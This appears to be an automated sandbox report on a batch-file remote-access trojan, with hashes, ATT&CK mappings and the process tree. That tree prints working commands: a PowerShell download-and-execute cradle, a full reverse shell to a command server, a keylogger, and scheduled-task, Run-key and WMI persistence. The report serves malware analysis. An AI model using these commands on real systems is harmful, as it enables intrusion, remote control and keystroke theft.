a40d46debf47292247b46b7b720de6a114040e65bb815adaf24fa20ce1ef2891

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:31

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General

Target
rat_build_262230_014705.bat
Size 4KB
Sample260529-bxdfwsf18x
SHA256 a40d46debf47292247b46b7b720de6a114040e65bb815adaf24fa20ce1ef2891
MD5 60b8ac007c765e8d085f920816e6bb82
SHA1 0ea8230eb88ab0aec1c54b5fe53acaa814334ea6
SHA512 5e18082687d11386835fe9f3e2f033fd9606523ff5b066efc0105347d5712ac944abf5d7b1f9ab42f5ccc6896c215d5ded51830c38bbf25bd998290d71df4cc1
SSDEEP 96:CIOIYWP1n+nPV9wYT2V5I+AaIjfbvBa2WTx7AIBgVDNiFgZk8mvlo1ie:CZuP1nEXl2Vi8YvBIdsIBGiFgkHlLe
TLSH
T142A1D723576775308AB05618DA7138546B2CDAFF2348C68EBB8C8CC41A48F1795796F7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_262230.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2192	powershell.exe
2060	powershell.exe
4064	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_262230 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_262230.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1900	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1172	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1712	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5064	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2060	powershell.exe
2060	powershell.exe
4064	powershell.exe
4064	powershell.exe
2192	powershell.exe
2192	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1204	WMIC.exe
Token: SeSecurityPrivilege	1204	WMIC.exe
Token: SeTakeOwnershipPrivilege	1204	WMIC.exe
Token: SeLoadDriverPrivilege	1204	WMIC.exe
Token: SeSystemProfilePrivilege	1204	WMIC.exe
Token: SeSystemtimePrivilege	1204	WMIC.exe
Token: SeProfSingleProcessPrivilege	1204	WMIC.exe
Token: SeIncBasePriorityPrivilege	1204	WMIC.exe
Token: SeCreatePagefilePrivilege	1204	WMIC.exe
Token: SeBackupPrivilege	1204	WMIC.exe
Token: SeRestorePrivilege	1204	WMIC.exe
Token: SeShutdownPrivilege	1204	WMIC.exe
Token: SeDebugPrivilege	1204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1204	WMIC.exe
Token: SeRemoteShutdownPrivilege	1204	WMIC.exe
Token: SeUndockPrivilege	1204	WMIC.exe
Token: SeManageVolumePrivilege	1204	WMIC.exe
Token: 33	1204	WMIC.exe
Token: 34	1204	WMIC.exe
Token: 35	1204	WMIC.exe
Token: 36	1204	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1204	WMIC.exe
Token: SeSecurityPrivilege	1204	WMIC.exe
Token: SeTakeOwnershipPrivilege	1204	WMIC.exe
Token: SeLoadDriverPrivilege	1204	WMIC.exe
Token: SeSystemProfilePrivilege	1204	WMIC.exe
Token: SeSystemtimePrivilege	1204	WMIC.exe
Token: SeProfSingleProcessPrivilege	1204	WMIC.exe
Token: SeIncBasePriorityPrivilege	1204	WMIC.exe
Token: SeCreatePagefilePrivilege	1204	WMIC.exe
Token: SeBackupPrivilege	1204	WMIC.exe
Token: SeRestorePrivilege	1204	WMIC.exe
Token: SeShutdownPrivilege	1204	WMIC.exe
Token: SeDebugPrivilege	1204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1204	WMIC.exe
Token: SeRemoteShutdownPrivilege	1204	WMIC.exe
Token: SeUndockPrivilege	1204	WMIC.exe
Token: SeManageVolumePrivilege	1204	WMIC.exe
Token: 33	1204	WMIC.exe
Token: 34	1204	WMIC.exe
Token: 35	1204	WMIC.exe
Token: 36	1204	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2568	WMIC.exe
Token: SeSecurityPrivilege	2568	WMIC.exe
Token: SeTakeOwnershipPrivilege	2568	WMIC.exe
Token: SeLoadDriverPrivilege	2568	WMIC.exe
Token: SeSystemProfilePrivilege	2568	WMIC.exe
Token: SeSystemtimePrivilege	2568	WMIC.exe
Token: SeProfSingleProcessPrivilege	2568	WMIC.exe
Token: SeIncBasePriorityPrivilege	2568	WMIC.exe
Token: SeCreatePagefilePrivilege	2568	WMIC.exe
Token: SeBackupPrivilege	2568	WMIC.exe
Token: SeRestorePrivilege	2568	WMIC.exe
Token: SeShutdownPrivilege	2568	WMIC.exe
Token: SeDebugPrivilege	2568	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2568	WMIC.exe
Token: SeRemoteShutdownPrivilege	2568	WMIC.exe
Token: SeUndockPrivilege	2568	WMIC.exe
Token: SeManageVolumePrivilege	2568	WMIC.exe
Token: 33	2568	WMIC.exe
Token: 34	2568	WMIC.exe
Token: 35	2568	WMIC.exe
Token: 36	2568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2568	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 5064	5052	cmd.exe	88
PID 5052 wrote to memory of 1712	5052	cmd.exe	89
PID 5052 wrote to memory of 1204	5052	cmd.exe	90
PID 5052 wrote to memory of 2568	5052	cmd.exe	91
PID 5052 wrote to memory of 3384	5052	cmd.exe	92
PID 5052 wrote to memory of 1172	5052	cmd.exe	96
PID 5052 wrote to memory of 1900	5052	cmd.exe	101
PID 5052 wrote to memory of 2060	5052	cmd.exe	102
PID 5052 wrote to memory of 4064	5052	cmd.exe	103
PID 5052 wrote to memory of 2192	5052	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_262230_014705.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_262230" /tr "C:\Users\Admin\AppData\Local\Temp\_262230.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5064
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_262230" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_262230.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1712
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_262230", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1204
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_262230", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_262230.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_262230.txt
  2⤵
  PID:3384
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1172
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_262230.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2192

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f6dbbf8c8a30c018cc00211c9ab38a066768903a7c33b5ab1d3a5afcbcc02c2f
MD5 06b5c514ab260985cb938b0ab4cfebef
SHA1 cd733fcb3166940fcab826eefd073af711683009
SHA512 9c3bda4a30113904a30e53b042a835f7c88981476270f4fa5e9edcda0dd5b2d1c57002f8d10a4b6a440c35cf5722f3df827bbda64e1d2aaea08fce6e4bb5060d
TLSH
T107117627F39CC921CC96153A409DAC1172B687DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 64d0bc1b35edb99131564c5f526efb7e56d82ef2eb28f38e1d84743696ea933f
MD5 b2de1a5a767efe402ee5b862fcf3b594
SHA1 8ec72d76b9e756f73be529233d074ebe6a0097f9
SHA512 fde968fe50df9566318e9b4e32afdf75ed9642d41331d19b1d00e9e6624cffa5b0ea7eacd041f5a612c334e0f25a00f5e11d2078af8b4f94ba2ab3a7f96c0ca3
TLSH
T192115727B39C89A1CC96153A409D9C1172B683DB40AEDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ck1oileu.tv5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ck1oileu.tv5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2060-5-0x0000018E40DF0000-0x0000018E40E12000-memory.dmp

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